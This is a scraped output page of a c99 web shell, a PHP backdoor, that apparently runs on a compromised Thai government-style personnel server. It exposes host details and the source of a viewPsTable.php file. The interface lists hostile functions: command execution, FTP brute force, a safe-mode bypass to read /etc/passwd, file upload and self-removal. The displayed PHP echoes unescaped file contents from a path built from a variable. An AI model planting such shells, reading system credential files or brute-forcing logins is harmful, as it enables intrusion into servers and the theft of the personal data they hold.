!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/person/admin/   drwxr-xr-x
Free 52.32 GB of 127.8 GB (40.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     viewPsTable.php (3.04 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once("../../class/clsConnection.php");
include_once("../../class/clsDB.php");
include_once "../global.php";
include_once "../link/function.php";
include_once "../link/keyThai.php";
$oCc = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EPERSON'], $GLOBALS['DBUSER_EPERSON'], $GLOBALS['DBPASS_EPERSON']);
$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);


$oDP = new Department($oC);
?>
<html>
<head>
<title>ตารางแสดงรายชื่อผู้ได้รับการรับรอง</title>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="source/style.css" rel="stylesheet" type="text/css">
</head>
<style>
<!--
A:link {text-decoration: none; color: #000000}
A:visited {text-decoration: none; color: #000000}
A:hover {text-decoration: none; font-weight: underline; color: #015181} 
-->
</style>
  <table width="102%" border="0" align="center" cellpadding="0" cellspacing="0">
  			<tr><td  height="30" align="left"><strong><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"];?>">&nbsp;&nbsp;
			<img src="../picture/search2.jpg" alt=""  border="0" >
			แสดงรายชื่อผู้ได้รับการรับรอง</font></strong></td></tr>
			<td align="center"><br>
	    <table width="90%"  border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="silver">
          <tr align="center" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_9"];?>"> 
            <td width="15%" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>ลำดับ</b></font></td>
            <td width="75%" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>ชื่อ - นามสกุล</b></font></td>
          </tr>
          <? 			
		  							$UPath='uploadfile/'.$filename;	
									$fp = fopen($UPath, "r");
									$i = 0;
									
									while(!feof($fp)) {
											$mark=0;						
											$char = fgets($fp);
											$name = $char;
											if($name!=""){				
        										if(($i%2) == 0)
			      										echo "<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_5"]."\">"; 
								  			  else
								          				echo "<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_11"]."\">"; 
            ?>
            <td  align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? echo a2th($i+1); ?></font></td>
            <td align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">&nbsp;<?  echo $name;  ?></font></td>
          </tr>
          <?								$i++;  		
		  									}
								}   //end while

					if($i == 0) {?>
          <tr bgcolor="#FFFFFF"> 
            <td align="center" height="22" colspan="2"><font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2">** 
              ไม่ปรากฏข้อมูลรายชื่อในแฟ้ม <? echo $n; ?> **</font></td>
          </tr>
          <?php } ?>
        </table>
		<tr><td colspan="2" align="center"><br><a href="#" onClick="window.close()"><font size="2" face="Microsoft Sans Serif">[ปิดหน้าต่าง]</font></a></td></tr>
        </table>
</td>
</tr>
</table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0057 ]--